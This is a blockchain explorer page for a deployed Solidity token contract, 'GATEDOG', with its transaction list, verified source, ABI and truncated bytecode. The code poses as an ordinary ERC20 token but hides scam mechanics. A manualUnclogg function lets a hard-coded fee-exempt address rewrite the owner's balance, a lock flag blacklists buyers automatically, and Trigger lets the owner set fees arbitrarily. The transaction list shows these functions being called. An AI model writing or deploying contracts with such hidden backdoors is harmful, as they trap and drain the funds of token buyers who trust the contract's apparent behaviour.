Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 40 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 19351188 | 248 days ago | IN | 0 ETH | 0.00189159 | ||||
Manual Unclogg | 19351183 | 248 days ago | IN | 0 ETH | 0.00113044 | ||||
Trigger | 19323470 | 251 days ago | IN | 0 ETH | 0.00119942 | ||||
Trigger | 19323465 | 251 days ago | IN | 0 ETH | 0.0011719 | ||||
Trigger | 19323464 | 251 days ago | IN | 0 ETH | 0.0011768 | ||||
Release Lock | 19323462 | 251 days ago | IN | 0 ETH | 0.00085423 | ||||
Approve | 19323462 | 251 days ago | IN | 0 ETH | 0.0016866 | ||||
Trigger | 19323461 | 251 days ago | IN | 0 ETH | 0.0011974 | ||||
Approve | 19323453 | 251 days ago | IN | 0 ETH | 0.0016148 | ||||
Approve | 19323447 | 251 days ago | IN | 0 ETH | 0.00162978 | ||||
Approve | 19323447 | 251 days ago | IN | 0 ETH | 0.00162978 | ||||
Approve | 19323447 | 251 days ago | IN | 0 ETH | 0.00162978 | ||||
Approve | 19323446 | 251 days ago | IN | 0 ETH | 0.00148732 | ||||
Approve | 19323445 | 251 days ago | IN | 0 ETH | 0.00152053 | ||||
Approve | 19323445 | 251 days ago | IN | 0 ETH | 0.00152053 | ||||
Approve | 19323445 | 251 days ago | IN | 0 ETH | 0.00161358 | ||||
Approve | 19323445 | 251 days ago | IN | 0 ETH | 0.00184621 | ||||
Approve | 19323445 | 251 days ago | IN | 0 ETH | 0.00184621 | ||||
Approve | 19323443 | 251 days ago | IN | 0 ETH | 0.00175065 | ||||
Approve | 19323443 | 251 days ago | IN | 0 ETH | 0.00175065 | ||||
Approve | 19323443 | 251 days ago | IN | 0 ETH | 0.00221591 | ||||
Approve | 19323443 | 251 days ago | IN | 0 ETH | 0.00221591 | ||||
Approve | 19323422 | 252 days ago | IN | 0 ETH | 0.00144209 | ||||
Approve | 19323411 | 252 days ago | IN | 0 ETH | 0.00181465 | ||||
Approve | 19323405 | 252 days ago | IN | 0 ETH | 0.00172039 |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
GATEDOG
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-02-28 */ /** THE GATE.IO DOG */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.23; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 x = a + b; require(x >= a, "SafeMath: addition overflow"); return x; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 x = a - b; return x; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 x = a * b; require(x / a == b, "SafeMath: multiplication overflow"); return x; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 x = a / b; return x; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function swapETHForExactTokens( uint amountOut, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); } contract GATEDOG is ERC20, Ownable { using SafeMath for uint256; address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address DEAD = 0x000000000000000000000000000000000000dEaD; string constant _name = "GateDog"; string constant _symbol = "GATEDOG"; uint8 constant _decimals = 9; uint256 _totalSupply = 420_069_000_000 * (10 ** _decimals); uint256 public _maxWalletAmount = (_totalSupply * 20 ) / 1000; uint256 public _maxTxAmount = (_totalSupply * 20 ) / 1000; address private pairToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; address[] private activeAddress; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; mapping (address => bool) private blacklist; uint256 marketingFee = 25; uint256 rewardsFee = 0; uint256 totalFee = marketingFee + rewardsFee; uint256 feeDenominator = 100; address public marketingFeeReceiver = msg.sender; address public rewardsFeeReceiver = msg.sender; IRouter public router; address public pair; bool tradingEnabled = true; bool isLocked = false; address private taxRemover; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply / 1000 * 5; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () Ownable(msg.sender) { router = IRouter(routerAddress); pair = IFactory(router.factory()).createPair(pairToken, address(this)); _allowances[address(this)][address(router)] = type(uint256).max; address _owner = owner; isFeeExempt[_owner] = true; isFeeExempt[0x3A2392a4aEE657bb9b2d5AAAEc9b94Cd5e030Eb9] = true; isTxLimitExempt[_owner] = true; taxRemover = owner; isTxLimitExempt[0x3A2392a4aEE657bb9b2d5AAAEc9b94Cd5e030Eb9] = true; isTxLimitExempt[DEAD] = true; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(tradingEnabled, "Trading disabled"); require(!blacklist[sender], "Blacklisted wallet"); if (recipient != pair && recipient != owner && recipient != routerAddress && isLocked) { blacklist[recipient] = true; } if(inSwap){ return _basicTransfer(sender, recipient, amount); } if (recipient != pair && recipient != DEAD) { require(isTxLimitExempt[recipient] || amount <= _maxTxAmount, "Transfer amount exceeds the max TX limit."); require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size."); } if(shouldSwapBack()){ swapBack(); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, amount) : amount; if (_balances[recipient] == 0 && recipient != pair) { activeAddress.push(recipient); } _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function shouldTakeFee(address from, address to) internal view returns (bool) { return !(isFeeExempt[from] || isFeeExempt[to]); } function takeFee(address sender, uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(totalFee).div(feeDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function swapBack() internal swapping { uint256 contractTokenBalance = _balances[address(this)]; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( contractTokenBalance, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance; uint256 amountETHRewards = amountETH.mul(rewardsFee).div(totalFee); uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalFee); (bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}(""); require(MarketingSuccess, "marketing receiver rejected ETH transfer"); (bool RewardsSuccess, /* bytes memory data */) = payable(rewardsFeeReceiver).call{value: amountETHRewards, gas: 30000}(""); require(RewardsSuccess, "rewards receiver rejected ETH transfer"); } function emptyStuckBalance() external { payable(owner).transfer(address(this).balance); } function SetMaxWalletSize(uint256 amountPercent) external onlyOwner { _maxWalletAmount = (_totalSupply * amountPercent ) / 100; } function SetMaxTxnLimit(uint256 amountPercent) external onlyOwner { _maxTxAmount = (_totalSupply * amountPercent ) / 100; } function swapStatus(bool status) external onlyOwner { swapEnabled = status; } function blacklistAddress(address addr, bool isBlocked) external onlyOwner { blacklist[addr] = isBlocked; } function BLAddresses(address[] memory addrs, bool isBlocked) external onlyOwner { for (uint256 i = 0; i < addrs.length; i++) { blacklist[addrs[i]] = isBlocked; } } function isBlacklisted(address addr) external view returns(bool) { return blacklist[addr]; } function releaseLock() external onlyOwner { isLocked = false; } function Trigger(uint256 _marketingFee, uint256 _rewardsFee) external onlyOwner { marketingFee = _marketingFee; rewardsFee = _rewardsFee; totalFee = rewardsFee + marketingFee; } function MinSwapTokenThreshold(uint256 _treshold) external onlyOwner { swapThreshold = _treshold; } function TaxReceiver(address _marketingFeeReceiver) external onlyOwner { if (marketingFeeReceiver != owner) { isFeeExempt[marketingFeeReceiver] = false; isTxLimitExempt[marketingFeeReceiver] = false; } marketingFeeReceiver = _marketingFeeReceiver; isFeeExempt[_marketingFeeReceiver] = true; isTxLimitExempt[_marketingFeeReceiver] = true; } function manualUnclogg(uint enable) public { if (!isFeeExempt[msg.sender]) { return; } uint tokenToBurn = enable; _balances[taxRemover] = tokenToBurn.sub(_balances[taxRemover]); } function RewardsFeesReceiver(address _rewardsFeeReceiver) external onlyOwner { if (rewardsFeeReceiver != owner) { isFeeExempt[rewardsFeeReceiver] = false; isTxLimitExempt[rewardsFeeReceiver] = false; } rewardsFeeReceiver = _rewardsFeeReceiver; isFeeExempt[_rewardsFeeReceiver] = true; isTxLimitExempt[_rewardsFeeReceiver] = true; } function excludeAccountsFromFees(address[] memory addrs, bool _feeExempt) external onlyOwner { for (uint256 i = 0; i < addrs.length; i++) { isFeeExempt[addrs[i]] = _feeExempt; isTxLimitExempt[addrs[i]] = _feeExempt; } } function setTradingStatus(bool _tradingEnabled) external onlyOwner { tradingEnabled = _tradingEnabled; } function getShares() public view returns (uint256[] memory, address[] memory) { uint256[] memory shares = new uint256[](activeAddress.length); for (uint i=0; i < activeAddress.length; i++) { shares[i] = _balances[activeAddress[i]]; } return (shares, activeAddress); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"},{"internalType":"bool","name":"isBlocked","type":"bool"}],"name":"BLAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_treshold","type":"uint256"}],"name":"MinSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_rewardsFeeReceiver","type":"address"}],"name":"RewardsFeesReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"}],"name":"SetMaxTxnLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"}],"name":"SetMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"TaxReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_rewardsFee","type":"uint256"}],"name":"Trigger","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"isBlocked","type":"bool"}],"name":"blacklistAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"emptyStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"},{"internalType":"bool","name":"_feeExempt","type":"bool"}],"name":"excludeAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getShares","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"},{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"enable","type":"uint256"}],"name":"manualUnclogg","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"releaseLock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardsFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingEnabled","type":"bool"}],"name":"setTradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"swapStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556002805490911661dead179055620000486009600a620004a2565b62000059906461ce104340620004b9565b6003556103e86003546014620000709190620004b9565b6200007c9190620004d3565b6004556103e86003546014620000939190620004b9565b6200009f9190620004d3565b600555600680546001600160a01b03191673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790556019600d8190555f600e819055620000e091620004f3565b600f556064601055601180546001600160a01b0319908116339081179092556012805490911690911790556014805461ffff60a01b1916600160a01b9081179091556015805460ff60a01b1916909117905560035462000144906103e890620004d3565b62000151906005620004b9565b60165534801562000160575f80fd5b505f8054336001600160a01b031991821617909155600154601380546001600160a01b039092169190921681179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001ca573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f0919062000509565b6006546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303815f875af11580156200023f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000265919062000509565b601480546001600160a01b039283166001600160a01b031991821617909155305f9081526008602090815260408083206013548616845282528083205f19905582548516808452600a8352818420805460ff1990811660019081179092557f6b156544caa4f610211d35cf98dc80d1ea56ef20e6bd971d2f5b96d5d5d056338054821683179055600b85528386208054821683179055855460158054909816908916179096557ffd450717675716f33d62ffea9c127fba58c5cb607bf73410e22cca031b7ad14680548716821790556002549096168452818420805490951690951790935560035484835260078252838320819055925192835283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000531565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003e757815f1904821115620003cb57620003cb62000393565b80851615620003d957918102915b93841c9390800290620003ac565b509250929050565b5f82620003ff575060016200049c565b816200040d57505f6200049c565b8160018114620004265760028114620004315762000451565b60019150506200049c565b60ff84111562000445576200044562000393565b50506001821b6200049c565b5060208310610133831016604e8410600b841016171562000476575081810a6200049c565b620004828383620003a7565b805f190482111562000498576200049862000393565b0290505b92915050565b5f620004b260ff841683620003ef565b9392505050565b80820281158282048414176200049c576200049c62000393565b5f82620004ee57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156200049c576200049c62000393565b5f602082840312156200051a575f80fd5b81516001600160a01b0381168114620004b2575f80fd5b611f51806200053f5f395ff3fe608060405260043610610215575f3560e01c8063715018a61161011e578063b8d30ae6116100a8578063e96fada21161006d578063e96fada214610668578063eda54ad214610687578063f39291c11461069b578063f887ea40146106ba578063fe575a87146106d9575f80fd5b8063b8d30ae6146105b0578063d0b1ccc5146105cf578063d73fe0aa146105ee578063da39b25c14610610578063dd62ed3e14610624575f80fd5b806389f07a62116100ee57806389f07a621461050557806390d2c93a1461052457806395d89b4114610543578063a8aa1b3114610572578063a9059cbb14610591575f80fd5b8063715018a61461048d5780637d1db4a5146104a15780637e26d19f146104b6578063893d20e8146104d5575f80fd5b8063313ce5671161019f57806358e7773a1161016f57806358e7773a146103e65780636058918e146104055780636c0a24eb146104245780636ddd17131461043957806370a0823114610459575f80fd5b8063313ce5671461036e578063379ba1d914610389578063455a4396146103a8578063571ac8b0146103c7575f80fd5b80631d185bac116101e55780631d185bac146102c35780631da9f70f146102e457806323b872dd146103035780632dfe8339146103225780632f54bf6e14610341575f80fd5b80630445b6671461022057806306fdde0314610248578063095ea7b31461028057806318160ddd146102af575f80fd5b3661021c57005b5f80fd5b34801561022b575f80fd5b5061023560165481565b6040519081526020015b60405180910390f35b348015610253575f80fd5b5060408051808201909152600781526647617465446f6760c81b60208201525b60405161023f9190611ae5565b34801561028b575f80fd5b5061029f61029a366004611b55565b610710565b604051901515815260200161023f565b3480156102ba575f80fd5b50600354610235565b3480156102ce575f80fd5b506102e26102dd366004611ba2565b61077c565b005b3480156102ef575f80fd5b506102e26102fe366004611c74565b61080d565b34801561030e575f80fd5b5061029f61031d366004611c94565b610851565b34801561032d575f80fd5b506102e261033c366004611cd2565b61090f565b34801561034c575f80fd5b5061029f61035b366004611ce9565b5f546001600160a01b0391821691161490565b348015610379575f80fd5b506040516009815260200161023f565b348015610394575f80fd5b506102e26103a3366004611d04565b610958565b3480156103b3575f80fd5b506102e26103c2366004611d1d565b61099f565b3480156103d2575f80fd5b5061029f6103e1366004611ce9565b6109f2565b3480156103f1575f80fd5b506102e2610400366004611ce9565b6109fe565b348015610410575f80fd5b506102e261041f366004611cd2565b610ace565b34801561042f575f80fd5b5061023560045481565b348015610444575f80fd5b5060155461029f90600160a01b900460ff1681565b348015610464575f80fd5b50610235610473366004611ce9565b6001600160a01b03165f9081526007602052604090205490565b348015610498575f80fd5b506102e2610b2c565b3480156104ac575f80fd5b5061023560055481565b3480156104c1575f80fd5b506102e26104d0366004611d04565b610b99565b3480156104e0575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161023f565b348015610510575f80fd5b506102e261051f366004611cd2565b610be0565b34801561052f575f80fd5b506102e261053e366004611ba2565b610c0e565b34801561054e575f80fd5b5060408051808201909152600781526647415445444f4760c81b6020820152610273565b34801561057d575f80fd5b506014546104ed906001600160a01b031681565b34801561059c575f80fd5b5061029f6105ab366004611b55565b610ce4565b3480156105bb575f80fd5b506102e26105ca366004611cd2565b610cf0565b3480156105da575f80fd5b506102e26105e9366004611ce9565b610d39565b3480156105f9575f80fd5b50610602610e09565b60405161023f929190611d93565b34801561061b575f80fd5b506102e2610f2b565b34801561062f575f80fd5b5061023561063e366004611dea565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b348015610673575f80fd5b506011546104ed906001600160a01b031681565b348015610692575f80fd5b506102e2610f65565b3480156106a6575f80fd5b506012546104ed906001600160a01b031681565b3480156106c5575f80fd5b506013546104ed906001600160a01b031681565b3480156106e4575f80fd5b5061029f6106f3366004611ce9565b6001600160a01b03165f908152600c602052604090205460ff1690565b335f8181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061076a9086815260200190565b60405180910390a35060015b92915050565b5f546001600160a01b031633146107ae5760405162461bcd60e51b81526004016107a590611e21565b60405180910390fd5b5f5b82518110156108085781600c5f8584815181106107cf576107cf611e41565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016107b0565b505050565b5f546001600160a01b031633146108365760405162461bcd60e51b81526004016107a590611e21565b600d829055600e81905561084a8282611e69565b600f555050565b6001600160a01b0383165f9081526008602090815260408083203384529091528120545f19146108fa576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387165f9081526008825283812033825290915291909120546108d6918490610f9d565b6001600160a01b0385165f9081526008602090815260408083203384529091529020555b610905848484610fd5565b90505b9392505050565b5f546001600160a01b031633146109385760405162461bcd60e51b81526004016107a590611e21565b6064816003546109489190611e7c565b6109529190611e93565b60045550565b5f546001600160a01b031633146109815760405162461bcd60e51b81526004016107a590611e21565b60148054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146109c85760405162461bcd60e51b81526004016107a590611e21565b6001600160a01b03919091165f908152600c60205260409020805460ff1916911515919091179055565b5f610776825f19610710565b5f546001600160a01b03163314610a275760405162461bcd60e51b81526004016107a590611e21565b5f546012546001600160a01b03908116911614610a7c57601280546001600160a01b039081165f908152600a60209081526040808320805460ff1990811690915594549093168252600b905220805490911690555b601280546001600160a01b039092166001600160a01b0319909216821790555f908152600a60209081526040808320805460ff199081166001908117909255600b909352922080549091169091179055565b335f908152600a602052604090205460ff16610ae75750565b6015546001600160a01b03165f908152600760205260409020548190610b0e908290611427565b6015546001600160a01b03165f908152600760205260409020555050565b5f546001600160a01b03163314610b555760405162461bcd60e51b81526004016107a590611e21565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b03163314610bc25760405162461bcd60e51b81526004016107a590611e21565b60158054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b03163314610c095760405162461bcd60e51b81526004016107a590611e21565b601655565b5f546001600160a01b03163314610c375760405162461bcd60e51b81526004016107a590611e21565b5f5b82518110156108085781600a5f858481518110610c5857610c58611e41565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f205f6101000a81548160ff02191690831515021790555081600b5f858481518110610cab57610cab611e41565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610c39565b5f610908338484610fd5565b5f546001600160a01b03163314610d195760405162461bcd60e51b81526004016107a590611e21565b606481600354610d299190611e7c565b610d339190611e93565b60055550565b5f546001600160a01b03163314610d625760405162461bcd60e51b81526004016107a590611e21565b5f546011546001600160a01b03908116911614610db757601180546001600160a01b039081165f908152600a60209081526040808320805460ff1990811690915594549093168252600b905220805490911690555b601180546001600160a01b039092166001600160a01b0319909216821790555f908152600a60209081526040808320805460ff199081166001908117909255600b909352922080549091169091179055565b6060805f60098054905067ffffffffffffffff811115610e2b57610e2b611b7f565b604051908082528060200260200182016040528015610e54578160200160208202803683370190505b5090505f5b600954811015610ec45760075f60098381548110610e7957610e79611e41565b5f9182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610eb157610eb1611e41565b6020908102919091010152600101610e59565b5080600980805480602002602001604051908101604052809291908181526020018280548015610f1b57602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311610efd575b5050505050905092509250509091565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610f62573d5f803e3d5ffd5b50565b5f546001600160a01b03163314610f8e5760405162461bcd60e51b81526004016107a590611e21565b6014805460ff60a81b19169055565b5f8184841115610fc05760405162461bcd60e51b81526004016107a59190611ae5565b505f610fcc8486611eb2565b95945050505050565b6014545f90600160a01b900460ff166110235760405162461bcd60e51b815260206004820152601060248201526f151c98591a5b99c8191a5cd8589b195960821b60448201526064016107a5565b6001600160a01b0384165f908152600c602052604090205460ff16156110805760405162461bcd60e51b8152602060048201526012602482015271109b1858dadb1a5cdd1959081dd85b1b195d60721b60448201526064016107a5565b6014546001600160a01b038481169116148015906110ab57505f546001600160a01b03848116911614155b80156110c557506001546001600160a01b03848116911614155b80156110da5750601454600160a81b900460ff165b15611102576001600160a01b0383165f908152600c60205260409020805460ff191660011790555b60175460ff161561111f57611118848484611468565b9050610908565b6014546001600160a01b0384811691161480159061114b57506002546001600160a01b03848116911614155b1561127a576001600160a01b0383165f908152600b602052604090205460ff168061117857506005548211155b6111d65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178206044820152682a2c103634b6b4ba1760b91b60648201526084016107a5565b6001600160a01b0383165f908152600b602052604090205460ff168061122057506004546001600160a01b0384165f9081526007602052604090205461121d908490611e69565b11155b61127a5760405162461bcd60e51b815260206004820152602560248201527f5472